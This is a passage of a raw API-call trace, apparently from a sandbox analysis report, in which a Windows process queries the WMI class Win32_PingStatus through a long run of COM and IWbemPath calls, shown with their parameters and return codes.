wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23265ac*=19, plFlavor=0x23265b0*=0) returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Timeout", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326a54*=0, plFlavor=0x2326a58*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2326a54*=19, plFlavor=0x2326a58*=0) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TimeStampRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326ac4*=0, plFlavor=0x2326ac8*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326ac4*=8211, plFlavor=0x2326ac8*=32) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326b28*=0, plFlavor=0x2326b2c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326b28*=8200, plFlavor=0x2326b2c*=32) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326b8c*=0, plFlavor=0x2326b90*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326b8c*=8200, plFlavor=0x2326b90*=32) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TimestampRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326bf0*=0, plFlavor=0x2326bf4*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326bf0*=19, plFlavor=0x2326bf4*=0) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326c60*=0, plFlavor=0x2326c64*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2326c60*=19, plFlavor=0x2326c64*=0) returned 0x0 [0126.969] IWbemClassObject:Get (in: This=0x4f387a8, wszName="TypeofService", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326ddc*=0, plFlavor=0x2326de0*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326ddc*=19, plFlavor=0x2326de0*=0) returned 0x0 [0126.973] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=0, plFlavor=0x59ee8c8*=0 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0126.973] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.973] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.973] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0126.973] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.973] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.973] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0126.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.973] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0126.973] SetEvent (hEvent=0x3f0) returned 1 [0126.974] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4d8, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0127.024] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0127.025] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0127.025] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da5f0) returned 0x0 [0127.025] WbemDefPath:IUnknown:AddRef (This=0x4da5f0) returned 0x3 [0127.025] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x2 [0127.025] WbemDefPath:IWbemPath:SetText (This=0x4da5f0, uMode=0x4, pszPath="") returned 0x0 [0127.025] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0127.025] SetEvent (hEvent=0x3f0) returned 1 [0127.025] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4dc, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0127.027] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0127.027] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0127.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da660) returned 0x0 [0127.027] WbemDefPath:IUnknown:AddRef (This=0x4da660) returned 0x3 [0127.027] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x2 [0127.027] WbemDefPath:IWbemPath:SetText (This=0x4da660, uMode=0x4, pszPath="") returned 0x0 [0127.028] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0127.028] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da5f0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0127.028] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da660, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0127.028] WbemDefPath:IWbemPath:GetServer (in: This=0x4da660, puNameBufLength=0x59ee89c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee89c*=0x0, pName=0x0) returned 0x80041009 [0127.028] WbemDefPath:IWbemPath:SetServer (This=0x4da660, Name="Q9IATRKPRH") returned 0x0 [0127.028] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0127.028] SetEvent (hEvent=0x3f0) returned 1 [0127.029] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x4e0, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0127.031] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0127.031] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0127.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da6d0) returned 0x0 [0127.031] WbemDefPath:IUnknown:AddRef (This=0x4da6d0) returned 0x3 [0127.031] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x2 [0127.031] WbemDefPath:IWbemPath:SetText (This=0x4da6d0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0127.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0127.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da6d0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x2) returned 0x0 [0127.031] WbemDefPath:IWbemPath:GetText (in: This=0x4da6d0, lFlags=16, puBuffLength=0x59ee844*=0x0, pszText=0x0 | out: puBuffLength=0x59ee844*=0xb, pszText=0x0) returned 0x0 [0127.031] WbemDefPath:IWbemPath:GetText (in: This=0x4da6d0, lFlags=16, puBuffLength=0x59ee844*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee844*=0xb, pszText="root\\cimv2") returned 0x0 [0127.031] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4da660) returned 0x0 [0127.031] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da6d0, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da6d0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x5, pName=0x0) returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da6d0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x5, pName="0000" | out: puNameBufLength=0x59ee87c*=0x5, pName="root") returned 0x0 [0127.032] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da660, uIndex=0x0, pszName="root") returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da6d0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x6, pName=0x0) returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da6d0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x6, pName="00000" | out: puNameBufLength=0x59ee87c*=0x6, pName="cimv2") returned 0x0 [0127.032] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da660, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da660, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0127.032] WbemDefPath:IWbemPath:SetClassName (This=0x4da660, Name="Win32_PingStatus") returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da660, puCount=0x59ee8e4 | out: puCount=0x59ee8e4*=0x2) returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetText (in: This=0x4da660, lFlags=4, puBuffLength=0x59ee8e0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8e0*=0x29, pszText=0x0) returned 0x0 [0127.032] WbemDefPath:IWbemPath:GetText (in: This=0x4da660, lFlags=4, puBuffLength=0x59ee8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59ee8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0127.033] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8b8*=0, plFlavor=0x59ee8b4*=0 | out: pVal=0x59ee834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee8b8*=8, plFlavor=0x59ee8b4*=64) returned 0x0 [0127.033] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.033] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.033] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8b8*=8, plFlavor=0x59ee8b4*=64 | out: pVal=0x59ee834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59ee8b8*=8, plFlavor=0x59ee8b4*=64) returned 0x0 [0127.034] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.034] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.034] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8b8*=8, plFlavor=0x59ee8b4*=64 | out: pVal=0x59ee834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee8b8*=8, plFlavor=0x59ee8b4*=64) returned 0x0 [0127.034] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.034] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.034] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0127.034] SetEvent (hEvent=0x3f0) returned 1 [0127.034] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee790*=0x4e4, lpdwindex=0x59ee5b4 | out: lpdwindex=0x59ee5b4) returned 0x0 [0127.036] CoGetContextToken (in: pToken=0x59ee664 | out: pToken=0x59ee664) returned 0x0 [0127.036] CoGetContextToken (in: pToken=0x59ee5c4 | out: pToken=0x59ee5c4) returned 0x0 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x59ee694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee690 | out: ppvObject=0x59ee690*=0x4da740) returned 0x0 [0127.036] WbemDefPath:IUnknown:AddRef (This=0x4da740) returned 0x3 [0127.036] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x2 [0127.036] WbemDefPath:IWbemPath:SetText (This=0x4da740, uMode=0x4, pszPath="") returned 0x0 [0127.037] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0127.037] SetEvent (hEvent=0x3f0) returned 1 [0127.037] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee790*=0x4e8, lpdwindex=0x59ee5b4 | out: lpdwindex=0x59ee5b4) returned 0x0 [0127.039] CoGetContextToken (in: pToken=0x59ee664 | out: pToken=0x59ee664) returned 0x0 [0127.039] CoGetContextToken (in: pToken=0x59ee5c4 | out: pToken=0x59ee5c4) returned 0x0 [0127.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x59ee694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee690 | out: ppvObject=0x59ee690*=0x4da7b0) returned 0x0 [0127.039] WbemDefPath:IUnknown:AddRef (This=0x4da7b0) returned 0x3 [0127.039] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x2 [0127.039] WbemDefPath:IWbemPath:SetText (This=0x4da7b0, uMode=0x4, pszPath="") returned 0x0 [0127.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee834 | out: puCount=0x59ee834*=0x0) returned 0x0 [0127.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da740, puCount=0x59ee834 | out: puCount=0x59ee834*=0x0) returned 0x0 [0127.039] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da7b0, puBuffLength=0x59ee88c*=0x0, pszName=0x0 | out: puBuffLength=0x59ee88c*=0x0, pszName=0x0) returned 0x8004103a [0127.039] WbemDefPath:IWbemPath:GetServer (in: This=0x4da7b0, puNameBufLength=0x59ee888*=0x0, pName=0x0 | out: puNameBufLength=0x59ee888*=0x0, pName=0x0) returned 0x80041009 [0127.039] WbemDefPath:IWbemPath:SetServer (This=0x4da7b0, Name="Q9IATRKPRH") returned 0x0 [0127.039] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0127.039] SetEvent (hEvent=0x3f0) returned 1 [0127.039] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee790*=0x4ec, lpdwindex=0x59ee5b4 | out: lpdwindex=0x59ee5b4) returned 0x0 [0127.041] CoGetContextToken (in: pToken=0x59ee664 | out: pToken=0x59ee664) returned 0x0 [0127.042] CoGetContextToken (in: pToken=0x59ee5c4 | out: pToken=0x59ee5c4) returned 0x0 [0127.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x59ee694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee690 | out: ppvObject=0x59ee690*=0x4da820) returned 0x0 [0127.042] WbemDefPath:IUnknown:AddRef (This=0x4da820) returned 0x3 [0127.042] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x2 [0127.042] WbemDefPath:IWbemPath:SetText (This=0x4da820, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee834 | out: puCount=0x59ee834*=0x0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da820, puCount=0x59ee834 | out: puCount=0x59ee834*=0x2) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetText (in: This=0x4da820, lFlags=16, puBuffLength=0x59ee830*=0x0, pszText=0x0 | out: puBuffLength=0x59ee830*=0xb, pszText=0x0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetText (in: This=0x4da820, lFlags=16, puBuffLength=0x59ee830*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee830*=0xb, pszText="root\\cimv2") returned 0x0 [0127.042] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4da7b0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da820, puCount=0x59ee86c | out: puCount=0x59ee86c*=0x2) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da820, uIndex=0x0, puNameBufLength=0x59ee868*=0x0, pName=0x0 | out: puNameBufLength=0x59ee868*=0x5, pName=0x0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da820, uIndex=0x0, puNameBufLength=0x59ee868*=0x5, pName="0000" | out: puNameBufLength=0x59ee868*=0x5, pName="root") returned 0x0 [0127.042] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da7b0, uIndex=0x0, pszName="root") returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da820, uIndex=0x1, puNameBufLength=0x59ee868*=0x0, pName=0x0 | out: puNameBufLength=0x59ee868*=0x6, pName=0x0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da820, uIndex=0x1, puNameBufLength=0x59ee868*=0x6, pName="00000" | out: puNameBufLength=0x59ee868*=0x6, pName="cimv2") returned 0x0 [0127.042] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da7b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da7b0, puBuffLength=0x59ee88c*=0x0, pszName=0x0 | out: puBuffLength=0x59ee88c*=0x0, pszName=0x0) returned 0x8004103a [0127.042] WbemDefPath:IWbemPath:SetClassName (This=0x4da7b0, Name="Win32_PingStatus") returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee8a8 | out: puCount=0x59ee8a8*=0x2) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=4, puBuffLength=0x59ee8a4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8a4*=0x29, pszText=0x0) returned 0x0 [0127.042] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=4, puBuffLength=0x59ee8a4*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59ee8a4*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0127.043] WbemDefPath:IWbemPath:GetInfo (in: This=0x4da7b0, uRequestedInfo=0x0, puResponse=0x59ee8b0 | out: puResponse=0x59ee8b0*=0x20c16) returned 0x0 [0127.043] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee8a8 | out: puCount=0x59ee8a8*=0x2) returned 0x0 [0127.043] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=8, puBuffLength=0x59ee8a4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8a4*=0x18, pszText=0x0) returned 0x0 [0127.043] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=8, puBuffLength=0x59ee8a4*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x59ee8a4*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.043] WbemDefPath:IWbemPath:GetInfo (in: This=0x4da7b0, uRequestedInfo=0x0, puResponse=0x59ee8b0 | out: puResponse=0x59ee8b0*=0x20c16) returned 0x0 [0127.043] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0127.043] SetEvent (hEvent=0x3f0) returned 1 [0127.043] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee804*=0x4f0, lpdwindex=0x59ee628 | out: lpdwindex=0x59ee628) returned 0x0 [0127.046] CoGetContextToken (in: pToken=0x59ee6dc | out: pToken=0x59ee6dc) returned 0x0 [0127.046] CoGetContextToken (in: pToken=0x59ee63c | out: pToken=0x59ee63c) returned 0x0 [0127.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x59ee70c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee708 | out: ppvObject=0x59ee708*=0x4da890) returned 0x0 [0127.046] WbemDefPath:IUnknown:AddRef (This=0x4da890) returned 0x3 [0127.046] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x2 [0127.046] WbemDefPath:IWbemPath:SetText (This=0x4da890, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da890, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0127.046] WbemDefPath:IWbemPath:GetText (in: This=0x4da890, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0x18, pszText=0x0) returned 0x0 [0127.047] WbemDefPath:IWbemPath:GetText (in: This=0x4da890, lFlags=4, puBuffLength=0x59ee87c*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x59ee87c*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee898 | out: puCount=0x59ee898*=0x2) returned 0x0 [0127.047] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee894*=0x0, pszText=0x0 | out: puBuffLength=0x59ee894*=0xf, pszText=0x0) returned 0x0 [0127.047] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee894*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee894*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee82c | out: puCount=0x59ee82c*=0x2) returned 0x0 [0127.048] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee828*=0x0, pszText=0x0 | out: puBuffLength=0x59ee828*=0xf, pszText=0x0) returned 0x0 [0127.048] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee828*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee828*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.049] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=2, puBuffLength=0x59ee830*=0x0, pszText=0x0 | out: puBuffLength=0x59ee830*=0x11, pszText=0x0) returned 0x0 [0127.049] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=2, puBuffLength=0x59ee830*=0x11, pszText="0000000000000000" | out: puBuffLength=0x59ee830*=0x11, pszText="Win32_PingStatus") returned 0x0 [0127.050] CoGetContextToken (in: pToken=0x59ee5d4 | out: pToken=0x59ee5d4) returned 0x0 [0127.050] CoGetContextToken (in: pToken=0x59ee534 | out: pToken=0x59ee534) returned 0x0 [0127.050] CoGetContextToken (in: pToken=0x59ee534 | out: pToken=0x59ee534) returned 0x0 [0127.051] CoUnmarshalInterface (in: pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee528 | out: ppv=0x59ee528*=0x535aac) returned 0x0 [0127.051] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x535aac, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0127.051] WbemLocator:IUnknown:QueryInterface (in: This=0x535aac, riid=0x59ee604*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59ee600 | out: ppvObject=0x59ee600*=0x4f43a50) returned 0x0 [0127.052] WbemLocator:IUnknown:Release (This=0x535aac) returned 0x1 [0127.052] IWbemServices:GetObject (in: This=0x4f43a50, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x59ee7e4*=0x0, ppCallResult=0x0 | out: 